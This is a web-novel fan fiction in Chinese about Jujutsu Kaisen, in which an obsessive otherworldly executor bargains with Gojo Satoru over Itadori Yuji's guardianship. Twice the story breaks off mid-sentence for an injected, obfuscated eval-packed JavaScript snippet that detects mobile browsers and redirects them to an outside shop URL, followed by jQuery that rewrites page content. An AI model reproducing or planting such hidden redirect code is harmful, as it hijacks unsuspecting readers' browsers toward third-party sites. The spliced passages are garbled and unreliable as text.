《我靠氪金成为最强术师的金牌辅助》
1. 家校联谊(1)
陈潺有一件想做很久的事。
虽然直接表述出来有些怪异,且所处场地遍布神秘符文与苍老呕哑的骂声,实在不适合用来完成愿望,但陈潺还是选择征求当事人的意见。
“可以摸摸你的头发吗?”
他朝那个站在光线中央的身影走去,后者向他歪了歪头。柔软的白色发丝随主人的动作而摇晃。细微的颤动,陈潺想起幼鸟立在树枝上鼓动翅膀的样子——还是悟更可爱一点。
即使全名为五条悟的男人早已过了动物最可爱的幼崽期。
陈潺向来认为:头发是一个经常被寄托暧昧、情愫与宿命的人体组织。
人们经常抚摸动物的皮毛,却很少允许他人接触自己的。这或许跟人类对爱的回避和恐惧有关,因为害怕,所以禁止接触。
但五条悟会害怕吗?他艰难地思考着,实际上他的大脑并没有给他留下多少算力让他思考现状,但他本人并不清楚这一点——他的大脑也没给他留下足以认清自己的算力。
陈潺只能隐约觉察到自己进入了某种玄秘的状态,宛如饿殍之人骤然得见血食。他无暇分辨这血肉是挂在捕兽夹上,还是被命运当作馈赠藏于洞穴,专为拯救他而来。
吃下去,撕咬、咀嚼、吞咽。
除此之外,他唯一清楚的只有对方是五条悟——五条悟不会害怕爱吧?前提是自己想做的事情跟爱有关。所以陈潺压下了胃中烈火烧灼般的饥饿,只再次询问道:“头发,可以吗?”
要是悟不害怕爱的话,自己的请求就是非常容易达成的,他模糊地想,无论如何,这总不算是一种为难。
然后学着五条悟的动作,向一侧歪了歪头。
五条悟搞不清楚这个男人——这个最近突然在咒术界声名鹊起的男人要做什么。
苍蓝色的眼瞳隔着眼罩环顾四周一圈,他再次确认自己没有走错地方——是的,即使「六眼」已经告诉他:这个灯光昏暗、符文遍地,空气中遍布浑浊咒力与活人快要死掉的气味的房间就是总监部;他也依旧不可置信。
而导致他不可置信的人,突然开始生硬地模仿他的动作。
五条悟几乎要被对方逗笑了,这里是总监部啊,上面的老头子们还在不死心地大声叫嚷着“必须尽快处死宿傩容器”呢!而他们在这里干什么,研究摸不摸头发?
白发咒术师重新站直,对面的人似乎愣了一瞬,也跟着恢复原来的姿势。
五条悟现在可以确凿地说,对方就是在学他——为什么要学他?若不是六眼在对方身上看不出丝毫咒力运转的痕迹,他都要以为站在眼前的是一个人形咒骸——仿人造物模仿人类,这样就解释得通了,但无论是正在起伏的呼吸、还是时不时颤动一下的睫毛,都在说明对方是个货真价实的人类。
他在心底叹气。
如果真是咒骸就好了……可以一个电话打给夜蛾,直接问清楚来龙去脉。最差也能获得一些线索——咒术界从不缺少邪魔外道的天才,说不定是某位诅咒师研发的、类似咒骸的东西呢?
之所以是「类似」,是因为五条悟不认为世上有第二个人能在没有夜蛾帮助的情况下,成功制造咒骸。校长虽然没有他厉害,但也是很不错的术师啦,不会这么轻易被偷家的!
思及至此,他勾起眼罩,向外拽了拽,没有拒绝也没有同意。
对方的眼珠也跟着他的动作转动,是一种没有恶意的追随行为。他们之间隔着相当礼貌的社交距离,或许是因为彼此足够遥远吧,五条悟没从对方流连在自己身上的目光中感到「黏腻」、「恶心」之类,相反,印象还不错。
——如果对方没有抢走虎杖悠仁的监护者和死刑执行人身份,他会更喜欢。
“陈先生,我没叫错吧?”五条打了个响指,紫色眼睛的陈先生便闻声点头。见此他终于露出了今天第一个真正的、满意的微笑,“我可以答应你,但是你要听我的话——不会太多,就一个,怎么样?我很少跟人做交易的,卖头发还是第一次呢!”
紫色眼睛的陈先生点点头,又摇摇头。
这算是什么鬼意思?五条悟的笑容平复下来。接着,他听到一句自我介绍。
“我叫陈潺。”黑发紫眼的青年缓慢地说,“不要用敬称。”
注意力居然在这里吗?
“嗯嗯,还有呢?我刚才不止说了这一件事哦。”
“——我答应你。抱歉...我以为这是默认的事情。”
这几乎是咒术界诞生以来最随便的一场判决:
诅咒之王的容器被一个名不见经传的、顶着外国名字的非家系术师所接手,而这位术师又和古往今来最不服管的五条悟达成了「摸摸头发吧!」的可笑协议——五条悟给对方摸一摸发顶,对方则立下「绝不伤害五条悟的任何一位学生」的束缚,然后马不停蹄地把宿傩容器送进咒术高专,令其成为五条悟的学生之一。
死刑执行人说「绝不伤害」死刑犯,这算什么?咒术高层们坐在屏风后的身影气得浑身颤抖,但他们一个字都说不出口。
一如陈潺从屏风后面走出来,宣布由自己来当虎杖悠仁的执行人时那样,他们也控制不了自己的舌头,只能眼睁睁看着自己说:“好啊,那就这么办吧。”
就算接下来舌头又被还回来了,又能怎么样?他们不约而同地谩骂着、驳斥着——对象当然是上一秒失言的自己,可谁都清楚木已成舟。他们的对手相当敏锐,绝不会放过任何一个利好他的机会,五条悟趁势摆出象征胜利的微笑,能给老头子们添堵简直是吃到双倍甜品的高兴!
由于情绪过于激愤,不少老头都剧烈地咳嗽出来,弄得满屋子噪音。可始作俑者看都没看他们一眼,二者旁若无人地聊起头发、姓名与来历——五条悟套话,陈潺回答。
他们并肩走出门去。
门外是明亮到刺眼的阳光。
陈潺没有眼罩作为遮挡物,他有些狼狈地垂下眼睛,长而浓密的睫毛投下一小片阴影,刚好把眼球保护在阴影中。他把手揣进兜里,下意识地摩挲一块印着五条悟的吧唧,这是执行官缓解情绪的手段。
同经常出入险境的人一样,他也有一个随身携带的信物用来稳住心神:碰触它等于碰触自己一半的灵魂,因为它曾无数次浸润他的血。
他有意识地落后白发术师半步——这引得对方回头瞥了他一眼。陈潺很难说自己究竟是出于什么心理才这样做。他想解释这只是执行官的习惯——他经常为同僚断后——又被自己立刻否决,因为他压根没有这种保护别人的习性。
他断后,仅仅是为了追求一点遇险的刺激、一点点而已。
毕竟到后来,连这点聊胜于无的刺激都没有了。
陈潺不再流血,他成为有史以来最强的执行官、同时也成为旱魃一般的怪物,所行之处必招致天灾——这大概是物种天赋?谁知道呢。
“如果有一天你拥有爱的能力,你就能控制天灾。”
这是来咒术世界之前,上司对他说的话。而他是怎么回答的?
陈潺听见自己过去的声音,它跨越时空在他耳边响起。
“我爱他。”陈潺回答,“我不会令「灾难」降临在他身边。”
但现在呢,他真的没让灾难降临吗?
陈潺背后不知何时渗出一层冷汗,他忽然想起五条悟回头时脸上的表情,以及他感知到的——五条悟隔着眼罩投来的、审视的余光。
他知道为什么五条悟会观察他,没有人会比陈潺更清楚他究竟做了什么,先是大张旗鼓地以「陈先生」的名义空降成为京都校的老师,再是「陈先生」被选入总监部、「陈先生」被评定为特级术师......陈潺完全没有给「陈先生」这个身份谱写背景,他在这个世界出现得毫无逻辑,如同一场凭空出现的飓风,掀动无数只蝴蝶翅膀。
若不是他一笔又一笔地给咒术位面打钱,这个以漫画为地基的世界早就因为他这空降角色而毁灭了。修补世界很消耗资源,所幸陈潺拥有一笔相当可观的财富,禁得起折腾。
但再多的钱砸下去,也无法凭空创造一条可以令陈潺合理存活的逻辑——除非陈潺回心转意,给自己编写一套逻辑自洽的来历融入世界线中。但他宁愿黑户似的活着,也不愿意打开光屏,利用管理员权限
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288080|198459||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
给自己发个身份证。
陈潺这么做的理由很简单。
——他要在第一时间吸引五条悟的注意力,以怪异的姿态、盟友的身份生活在对方身边。说到奇人异事,想到他;说到同伴,也想到他;说到敌人,更是第一时间怀疑他。
所以「陈先生」才成为宿傩容器、虎杖悠仁的行刑人与监护人。
为了增添「陈先生」的可疑之处,他甚至没在咒术界中说过自己的名字。知道他叫陈潺的人,至今只有五条悟一个。
他想起上司的否定:“或许你真的爱着那个漫画人物,但你绝对没有爱他的能力。你能收购他的周边、随身携带他的吧唧、把他出场的每个画面都咀嚼无数遍——但你同时也要清楚,如果他是一个存在于我们身边的人,你的爱在没经历过克制与妥善处理之前,会成为负担。”
他想起五条悟在总监部时,曾短暂暴露出一副状况之外的惊愕与防备。他的愿望似乎达成了,现在仅仅是退后一步,五条悟就会怕他有异,密切关注他的动向。他也的确成为了五条悟的半个盟友,因为法理上,他手里握着对方未来学生的性命。
但上司的判词似乎逐渐应验了:目前为止,他的喜欢除了给五条悟添加负担之外,没起到任何作用——是的,陈潺的确分走了宿傩与虎杖悠仁的一部分责任,但他同时不也成为了五条悟身边的、一枚无法预测的炸弹吗?
漆黑迷雾悄然漫上他的眼眸,他的「天灾」如期而至。
“不要边走路边走神啊,被石子绊倒的话我可不会帮你——上车啦。”
轻快的、被拉长的声音把陈潺的神智拽了回来,如同那枚五条悟吧唧无数次帮他锚定灵魂一样。
陈潺重新活了一遍似的眨了眨眼,他的瞳孔还处在放大状态中,如同陷入一场深紫色的死亡。他抓住那枚吧唧,黑雾不情不愿地退去。
回过神时,他发觉五条悟正双手插兜,靠在车边看着他。
车门已经被打开,但白发术师一句话也没说,好像这种体贴的、照顾人的行为跟他没关系一样。
五条悟站在原地等了一会,直到陈潺的瞳孔恢复成正常大小,他才弯腰进入车内。而执行官这才后知后觉地发现,他一直都没有理会五条悟的那句关心,身体上也没有任何行动!陈潺猛掐一把掌心,用最快的速度钻进车内。
汽车发动了,五条悟在他那一侧将车窗降下很小一条缝。
东京的春天并不能称得上温暖,即使现在距离夏天已经很近,不过体质稍差的人还是容易着凉生病。白发术师沉默地托着下巴,呼吸着车窗外的新鲜空气。总监部这一遭让他很是烦心,虽然最后的结果算不上坏,但也同样不在他的意料之内。
五条悟并不喜欢失控的感觉。
“你之前在老橘子那边说的「这样安排或许会轻松一点」,是什么意思?”
“抱歉,可以再给我一个赔偿你的机会吗?”
他们同时出声。
原本打探一番的心思被这声道歉斩落。五条悟有些好笑地回头,这位莫名出现在咒术界的「陈先生」此时如同小学生一般,双腿并拢,手规矩地摆在膝上,一副搞砸了事情的表情。
其实他不觉得对方做错了什么,如果非要说哪里不好,顶多是超级、非常,不符合社交礼仪,也有几分缺乏距离感的嫌疑。
可五条悟从来就不是被礼仪规矩束缚的人,如果陈潺能来到己方阵营,他甚至会欣赏这种离经叛道的家伙,毕竟很有趣嘛。
见面就说「摸摸头啦」之类的,超有意思!
但机会既然摆到面前,五条悟就不会拒绝它。不过可以试着从问话转变成闲聊,毕竟对方是个会道歉、紧张,还会走着走着突然走神的家伙。如果用温和的方式能解决,他就不会太暴力。
先试试看吧。五条悟对自己说。
他把车窗关上,语气仍然是轻快的。
“谈谈你的来历吧。”白发术师说,“还有你想做的事——也可以理解为交流一下目标啦、理想啦之类的......总之是成年人之间的谈心活动!顺便建立家校之间的友好联谊,怎么样?”
2. 家校联谊(2)
巨大的红色“404”占满光屏的每一寸。
陈潺抬起的手又放下,眼中满是烦躁。他试着在支付页面填入更大面额,仍以失败告终。
尖锐的警报声随着他一次次的越界行为而响起,负责监察位面情况的辅助系统向下界投射意识,试图与执行官对接,却被陈潺反手塞进了光屏。
“我不喜欢别人在我的脑子里说话。”他输入道,“打字交流吧。”
光屏愤愤地抖动。
“居然要把管理局的事情透露给小世界的人——十三号,你是有多恨这个位面,多不想让这里的人活着?”
系统紧张得直飙代码:“你分明知道这样做会给这个世界造成多么大的伤害!”
好吵……
陈潺拧起眉,用意识「拍」了一下系统的意识体——这惹得后者很不高兴。我不能进你的脑子,你就能随便钻进我的宿体里?陈潺紧接着又「拍」了两下。巨大的实力差距令系统偃旗息鼓。
“安静。”执行官说,“我很有钱。”
十三是陈潺作为执行官时的代号,它唯一的意义就在于警戒——让一些不那么强大的同僚们听见这个数字之后对他退避三舍。
这是一个在神秘学中象征邪恶的数字,他自己选的代称。在管理局,十三号要比陈潺的知名度广很多,就像咒术界的「陈先生」知名度高于陈潺一样。
怪物若想生活在人群里,须有佩戴镣铐、于身上纹画鲜艳标记的自觉。
而名字是区分人与非人的标记之一。
当人们想起他时,先跃入脑海的会是数字——类似实验体的不详编号,就会自然而然的在脑中强化他并非同类的印象,从而跟他保持距离。
“……但这不是钱能够解决的!总之你不能这么干。”光屏出现一个「加载中」的图标,看得出系统正为如何说服他而苦恼。
陈潺耐着性子等了一会——实则视线早已飘到五条悟身上。对方正抱臂注视自己,脸上一点笑容也没有。他头一次开始反思自己,或许真的需要写一条背景线?
图标切换了。
系统突然福至心灵道:“你是恨咒术世界的「造物主」吗?若你因此想毁掉这里,那我可以偷偷告诉你他在哪个小世界——很多人都恨他,向我打探他的坐标,我都没说!所以他还好好地活着呢。”
陈潺扫了它一眼,后者缩了缩不存在的脖子。执行官冷笑道:“我不恨他,但你应该早些说出他的坐标。行了,我不会再试图把真实来历告诉五条悟,请回吧,我不送你了。”
这是毫不掩饰的驱逐。
系统气得又打出几个感叹号,但还是依言照做:“好歹说句再见吧!”
“下次。”
别指望陈潺对同僚很有礼貌——尤其是这些肩负「监测」职责的同僚。
他一想到对方能借着职务便利看到五条悟的身影就咬牙切齿,即使他自己也经常翻阅那几本绘制着五条悟命运的画作,品尝对方的喜怒哀乐。
毕竟他们不在同一个维度,这么做也很正常吧?
高维生物对待低维生物总有与生俱来的傲慢,他们肆无忌惮地扒开后者的隐私、秘密与伤痛,再为对方的人生判词。
陈潺也不例外。
他甚至是其中最不讲理的:他喜欢的,只有他能瞥视、剥开,其他人不行。
陈潺扣下了系统监测咒术位面的那只眼睛,扔进光屏的回收箱里,这一行为惹得系统直跳脚:“你以后别再指望我把那个作者的坐标告诉你!”
“我真不恨他。”陈潺有些无奈,偶尔他并不理解人类为何有如此丰沛的爱恨,“情绪是很稀有的东西,我只能把它给一个人。”
他又「拍」了一下系统的头。
“回去给你赔一只新的。”他说,“再见。”
方才还说要赔偿的人,此刻又一动不动了。
很为难吗?说说来历而已。实在不行编一个也好啊。五条悟对真伪自有一套分辨方式,况且有时候话语的真假并不重要,重要的是里面含有多少信息。
谎言也同样能透露出有效线索——反向推理而已,对于「最强」来说当然是小菜一碟啦!
唯独沉默不行——没有人能在宇宙的真空里面听到声音,五条悟最不想见到的情况之一。
虽说有六眼的加持,他也能通过观察对方的身体反应来知道点什么。
但聚精会神、仔细地观察对方的呼吸、心跳变化......真的很消耗体力啊,头会疼的。
宿傩容器现世造成的影响,比所有人想象的都要严重。五条悟为了保全虎杖悠仁和出任务的伏黑惠,至少两天没合过眼了。
回收咒物是伏黑惠的任务,而他未在宿傩现世时立即处死虎杖悠仁。哪怕真正保下虎杖的是五条悟,咒术高层也不会轻而易举地放过「主观有罪」的黑发少年。
谁让伏黑惠是五条悟的势力呢?自然要不遗余力地打压。
五条悟没把这些事告诉伏黑,准确地来说,他没有告诉任何人。
他了解这个孩子,一旦他跟对方说,对方绝对会回答:是我的失职,虎杖是为了救我才吞下手指的。
他甚至能幻想出那个孩子深吸一口气,闭上眼睛回答的画面。
五条悟甩了甩头,一副要把连日的不适与麻烦都甩出去的气势。黑发紫眼的男人终于复活了,对方若有其事地在空气中划着什么,可能是某种术式吧?虽然从六眼解析得出的轨迹来看,对方更像是在玩一部不存在的手机。
说不定真有人的术式是玩手机呢?毕竟咒术界连Panda都有。
白发术师收回视线,猫一样探身到前座去。
反正后座就这么一点点大,用余光也足够看得一清二楚啦。最近事情多得有些过分了,再加上宿傩——没有人能不紧张、不提防这位千年前的诅咒之王,五条悟也不例外。
何况宿傩出世总要有个顶罪人,这个人只能是伏黑惠或者他,成年人是不会把青春期少年推出去当挡箭牌的。
他承受着三份全新的压力:两面宿傩的威胁、令咒术界陷入险境的罪人之名、包庇容器的改革派首领之责。
啊、还有旁边这个诡异的、没咒力但在空气里玩手机的家伙。
“——伊地知、伊地知,你有糖吗?我身上带的今天吃完啦。”
“谁会随身带糖果啊,五条先生。又不是小孩子了。”
“诶......伊地知明明比我小啊。五条老师可以特批你回到童年半天哦!”
没能收获糖果,白发术师不满地倒回椅背上,并不算柔软的皮垫硌得他喉间溢出一声闷哼。他整个人都呈现出「下垂」的趋势,头颅、手臂、衣角,甚至连发丝都无精打采地弯下一点弧度,直至——
一只苍白如纸、修长纤细的手突兀地横在他眼前。
手掌里是一颗糖,看起来是手工制作。判断依据是五条悟从未见过这种材质的、苍青色的糖纸——那真的是纸吗?触感更接近蛇的鳞片。甜度很高,用鼻子就能闻到一股甜得发腥的味道,同样看不出来是什么做的,但色泽与气味都非常诱人。
五条悟看向手的主人,陈潺正神色自若地等待他取走糖果。却在望见对方回视而非收下时,紫瞳里闪过一丝无措。
“你忘性真的很大啊,陈先生。”
“它是健康食品...我可以吃给你看。”
又是同时开口,又是两句完全不在同一条频道的话。
五条悟现在真的笑不出来了,完全是肌肉记忆在牵动他的唇角。他久违地感到疲惫,应付老橘子、处理问题学生、试探陈潺......事情一桩接着一桩,过两天还得去外地祓除咒灵,最强真的很忙。
陈潺则如他所说,用那双病人一样瘦削的手掰下糖果的一角,当着五条悟的面缓慢吞下。
“我没有忘记,只是很难解释。”他把剩下的糖捧回来,又道歉,“对不起,让你等了这么久。很辛苦吧?现在不想吃糖也没关系,但来历还得稍等一下。我想有些东西,可能要亲身体会过才能明白。”
见五条悟完全没有接过的迹象,他把糖块仔细地包好,自顾自地塞在对方的衣兜里。白发术师没有制止,他开始好奇为什么陈潺没有拉起他的手——把礼物送到对方的手心上才是正常的社交不是吗?再说了,陈潺的目光明明一直在他的手上流连。
是知道「无下限」的存在吗?消息够灵通的啊,这位突然冒出来的咒术师。
五条悟“嗯”了一声,脑中尖锐的疼痛与理性反复拉扯,最终理性占据上风。
他没有剥开那颗糖。
“你欠我两个答案。”他打了个小哈欠,“别偷工减料。”
那家伙又开始玩不存在的手机。
五条悟百无聊赖地等着:1、2、3……他暗自读秒,近乎胡闹似的想,要是陈潺这次还让他等很久——两分钟,不能再多了!他就把对方口袋里那个没咒力的、总是被攥着的小圆片抢走。
咒力是无处不在的。
人类的情绪饱满而丰沛,喜欢着万物的同时又憎恶、恐惧着一切,咒力也就随之流动在世界中。
就连外国也只是「稀少」,更准确的说法是稀薄——不过这是只有六眼才能看到的景色。但陈潺是0咒力,且跟那些天予咒缚的家伙不同,六眼在他身上看见的是空白,而不是干涸。
如果把咒力比作水,天予咒缚者便是上天安排的、气候极端的沙漠地区,这是干涸。
而陈潺则是让水突然消失,是漩涡、黑洞那种引力系角色。消失之后会剩下什么?五条悟在心底打了个响指:空白。
这种比喻式讲解太有创意了!他边数秒边给自己鼓掌,决定以后教学生就这么说话——兴许还能引用一些物理学、化学和动漫里的魔法知识?
……11、12、13。
第十三秒被默念出的时候,苍蓝色的眼睛蓦地睁开。
积压多日的疲惫被一扫而空、长时间开启「无下限」又频繁用反转术式修复的大脑,此刻也回到了它最巅峰的状态,就像从来没有受过伤、没有被超量使用过一样。
是一种身体被抢走、又被塞回来的感觉。疼痛并非消除,而是被抹去。
五条悟掐了一把掌心,指甲陷进肉里,疼的。
他笑了一声,原来痛觉神经还在呢。他又用咒力在体内周转一圈,确认身体无异后才转头看向身侧的人。
始作俑者则是用一种有些得意的、期望被夸奖的眼神盯着五条悟。
“这是第二个问题的答案。”陈潺说,“我的术式是一种变相的「言灵」,我写下什么,什么就会成真。方才我写了一些能让你神清气爽的祝福语,感觉怎么样?”
五条悟说:“你身上没有咒力。”
他指了指自己的眼罩,但任谁都清楚他指的是黑布下的苍天之瞳。
言外之意,别小看我的眼睛。
陈潺说:“我给自己写过咒力隐藏的言灵。我很反感那些通过追踪咒力来观测我的行为——我不喜欢被无关紧要之人盯着,那些视线恶心又污浊,你能理解的,对吧?”
嗯,他还真能。
五条悟不紧不慢地鼓掌,能理解不代表他能被三言两语影响:“喔!还是规则系?生效优先度居然比六眼还高,真不可思议。那么代价呢?”
言灵要付出的代价很高昂,有时咒力甚至支付不起,不然狗卷棘也不必每天念菜谱。一旦说出涉及因果的话,甚至有辐射周围人的可能性。而陈潺这种能「隐瞒六眼」的程度,绝对超过咒力能支付的代价了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288081|198459||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
陈潺说:“那不要紧,我很有钱,付得起。我的亲眷早已不在人世,我也不打算诞育后代——所有钱都是我的。”
这样就算是把来历,以一种能被世界接受的方式介绍完了吧?
“你的代价是付钱?给谁付?”
连续两个问号,足以彰显28岁成熟教师的震惊。五条悟不是保守得反驳一切超出他认知的事物的人,相反,他很欢迎新事物。某种程度上,他希望陈潺说的是真话。
陈潺点着光屏,又划了一笔钱用来打补丁:“按我的家乡话说——我不是本国人,这点从名字就能看出来——付给天道。你肯定注意到我的动作了,这就是在「言灵」,天道会自己从我的账户里扣钱。”
“至于为什么说,这样安排会轻松一点是因为……”
“先停。”五条悟打断他,“我可以相信你上述的一切,但你需要再回答我一个问题——你口袋里的东西、别装傻,就是那个小圆片,是什么?”
“……”
陈潺又一次沉默了。
五条悟说得对,确实不能小看六眼。
陈潺长得很白。
是那种一看便知足不出户的长相,若不是他骨架够高,怕是要被评一句弱不禁风。感谢他的肤色,让执行官执行任务时经常能玩扮猪吃老虎的游戏。
唯独这次不是装的。
血液的颜色从脖颈蔓延到脸上、耳根上,暴露在衣服外的所有皮肤几乎都泛出红色。他狼狈地低着头,任凭心脏疯狂捶打胸腔。
即使是五条悟这样心理素质强大的人,也被他惊得一瞬。不过最强的适应力也很强,下一秒就觉得陈潺应该多红几次脸:有血色,看起来健康多了。
“……你真的很想知道吗?”执行官嗫嚅地问,“它不是、危险物品。”
有机会。
没回绝,只表现得为难,那就是能说,不过需要激励。
陈潺的异样在五条悟眼里不算什么事,若对方是陈小姐的话,他还会顾及一下女士的面子。
但这是陈先生。
而他——对男人的辛苦不感兴趣。
“但它也是0咒力。”五条悟骤然倾身靠近,后者被激得一颤,手指也跟着蜷缩起来。
好可怜啊,五条悟想,膝盖上面的布料都被抓皱了,好像是很为难的东西呢。但陈潺也是成年的大人了,大人之间是不需要被特别保护心灵的。
不过……
念及对方总是道歉的模样,他想,若陈潺真能成为盟友,他也不介意捎作照顾。
“你肯定也给它「隐藏咒力」了,为什么呢?”白发术师隔着衣服按了按小圆片,“两种可能——要么它很重要,但我又不拿走它,只是看一看;要么你的隐藏咒力与言灵的说辞,都是编出来骗我的。陈潺、陈先生,你是个会欺骗老师的坏家长吗?哦…好像已经有一个谎言了。”
陈潺猛地抬头,红晕霎时褪去大半:“没有。”
这世界上似乎只剩下两个字了,他执着地重复道:“没有、没有……我绝对不会骗你,如果我这么做……”
五条悟也后仰一些,给陈潺留足了坐直的空间:“如果你这么做……?”
似乎踩中了某条高压线,陈潺肉眼可见地焦躁起来,他不再说话了,瞳色黑得发紫,虹膜仿佛是流动的液体,让人不禁联想到神话中罪人、魔鬼与地狱的形象。
但还是漂亮的。
有那张昳丽的脸撑着,就算剃光头也别有一番韵味。
可惜五条悟自己就生着一张天使般的面孔,对美颜几乎是免疫的。他没有丝毫动容,好整以暇地等待着,直至陈潺恢复正常。
“对不起,我又让你等了很久。”他深呼吸数下才解释道,“我的灵……精神不太稳定,但是我没有骗你!”
他把灵魂两个字咽了回去,换成现代人能接受的,不怪力乱神的说辞。
“我没有真的打算把虎杖悠仁当作后代去养,他本来就是要给你做学生的。我只想把他的一部分责任揽在自己身上,让你能更轻松而已……”
“所以我才那样问你,排除我擅自行动的因素,你高兴吗?会轻松些吗?”他停顿片刻,“……往后,我会先征求你的意见。”
这不是、
完全暴露了吗?
五条悟又打心底里愉快起来了,这份好心情跟陈潺的术式毫无关系。
他头一次这么强烈地意识到他是被在意、被喜欢的,虽然大家肯定都很喜欢他啦——但是,眼前这个人,貌似在自己面前毫无底线诶?
“你要看的东西,能帮我稳定精神,所以我才……把它也隐藏起来。”陈潺断断续续地说,“它真的不是危险物品……”
被我怀疑,居然比能帮你稳定精神的东西还严峻吗?
急促的呼吸和心跳都不会撒谎,六眼不会错过对方的身体语言。五条悟想,他还是更喜欢陈潺红一点的样子,非常好懂。
刚才陈潺介绍什么「言灵」的时候,对比现在完全就是个背词的假人,难怪他当时看得那么费劲。
“啊,原来如此。”白发术师念出的每一个字都浸润了笑意,“那既然不危险,又是可以帮你稳定精神的好东西,为什么不能满足一下我的好奇心?”
五条悟并不知道,他此刻每一句话都是魔鬼的催命钟,敲在陈潺摇摇欲坠的心脏上。
“是我不值得陈潺信任吗?”
白发术师又向前倾了一点。
陈潺没躲。他脑子里就没有「躲开五条悟」这个概念。
令他窘迫到手足无措的,是他自认为无法满足五条悟的要求。
他只是想问我要一个答案。
但我却没能立刻给他,我本应该给的。
可里面藏着我的私心。
3. 家校联谊(3)
与五条悟相遇后发生的一切,并不符合陈潺最初的预想。
命运对五条悟是极其潦草的,每一处看似天授的优势,背后都埋下令他举步维艰的陷阱。
——这是陈潺第一次翻开漫画时产生的想法。
他无法不去怜悯一个被作者绞尽脑汁地处死的角色,陈潺几乎是忍着恶心读完漫画的结局,这一点从执行官后来的反应就能看出——他从来没发过那么大的火,象征死亡与不详的深紫雾气缠绕在推荐这部漫画给他的同僚身上,收缩、勒紧。
他没有杀死对方,因为情绪倾倒给这种家伙是一种浪费。被黑雾碰过的人不会活得幸福的,因为他、或者说祂,是所有负面概念的集合体、是一切恶念的化身。
陈潺至今还记得,同僚将《咒术回战》零卷塞进他手中时笑嘻嘻的脸:恶作剧的、幸灾乐祸的,一种天然却不致死的恶意。他早已忘记那个人的姓名与长相,唯有这个笑容铭刻进灵魂中,从今往后见到每一个生物,他都下意识地幻想对方露出同样微笑时的表情。
Gojō Satoru。他无数次默念这个音节。
——我怜悯被如此恶劣对待的你。
——连轻松都没有体会过的你、连自由都不曾拥有的你。
爱或许就是先从怜悯诞生的吧?
被人当作怪物的五条悟在命运之外,真的收获了来自怪物的注视。某种意义上也是相当地狱的结果,好像同类之间在惺惺相惜——陈潺对这种巧合很有负罪感,他从来都认为五条悟是一位纯粹的人,却被自己这样的怪物连累,好可怜啊。
好悲哀、好可怜,我会救你。
是的,在见到五条悟之前,陈潺一直这么认为。
结果现在,被逼到死角的、亟待拯救的是他自己。
执行官慌乱地、狼狈地把头埋进手臂中,手臂支在膝盖上,整个人就那么佝偻在座位里。他说:“对不起。”
五条悟则是很遗憾的语调,他叹着气:“看来我真的很没有信誉度呢。”
陈潺觉得这声叹息比他自己的命都长——如果他死一次就能让五条悟不再叹气的话,他绝对立刻赴死。
但是、但是……这个赴死的前提是,五条悟在他身边。那双苍天之瞳要注视着他,要装下他的死相才行。
一旦把悟的吧唧交出去,当事人看到绝对会选择避而远之的吧?
——神秘的「陈先生」、未知的「陈先生」、能够轻而易举让总监部闭嘴的「陈先生」……这么一个随时都能爆炸的高危物品,居然随身携带一枚印着你的饰品,你害不害怕、你离不离开?五条悟若是抱着这种想法离开他,他完全理解。
怪物自以为与人类换位思考,却完全忘记他们中间还隔着一个虎杖悠仁。只要虎杖身上的隐患没解决,五条悟就不可能跟他说拜拜。
他已经完全沉浸在自己会被抛下的恐慌里,但爱又让陈潺无法视五条悟的需求如无物。他深深地吸气,直到肺部隐隐作痛,才做出回答,声音低得连他自己都听不清。
“我可以给你,但能不能,再立一个束缚?”
五条悟肯定没听见:“你说什么?”
“我说,”他抬起头,露出一双湿漉漉的紫瞳,脸色白得吓人,好像某种诅咒落在他身上,随时准备咬断跟他搭话的人的脖子,“我们能不能再立一个束缚?”
……这家伙当束缚是批发的吗,想立就立。
距离上个束缚立下的时间还不超过一小时,现在又来一个。五条悟无言地抽了抽眼角,强者如他偶尔也是会感到无奈的。
“这是你将自己完全暴露给我的条件?”
陈潺注意到五条悟说辞的变化,他眨了下眼睛,周身散发的攻击性缓和了一些。六眼持有者感知到对方的气场波动,困惑地歪了歪头,他不明白自己做了什么让陈潺让步。
想不明白就先把疑点记下来吧。眼前有更要紧的事。
陈潺轻声回答:“是的。”
“真随便——什么都可以?”
“是的。”
“行啊,说说内容吧。”
“我对你毫无保留。而你不能讨厌我、不能离开我。”
我什么时候跟你在一起过?五条悟实在没搞懂「离开」一词是从哪里得出的,他皱眉,把这个疑点也一并记在脑中,面上仍是风平浪静:“讨厌这种主观情绪上的东西很难控制吧,难道你还会做令我讨厌你的事吗?这位好心的、帮我分担责任的陈先生。”
陈潺的脑回路真的很怪:“……你现在就讨厌我吗?因为我抢走了你的监护人。”
眼泪都快流下来了啊。
看着对方蒙了一层雾气的眼睛,五条悟也是实在没脾气了。他这辈子没见过这么一边道歉一边站在他对面的敌人……哦,现在貌似是半个盟友和半个敌人。最强无奈地往后靠,他们方才离得太近了,如果陈潺真哭起来,水汽容易窜到他鼻腔里。
还有什么叫「抢走你的监护人」,别仗着是外国人就说怪话,注意语法好不好?
“原来你知道你做得不太妥当。”五条悟失笑,他退到一个正常的社交距离中——这个动作又引起紫瞳微微颤抖——成熟大人是不会正面回答这种幼稚的情绪问题的,“当然,这是以我的立场来评价。你还会做那样的事吗?”
“不会。”对方斩钉截铁。
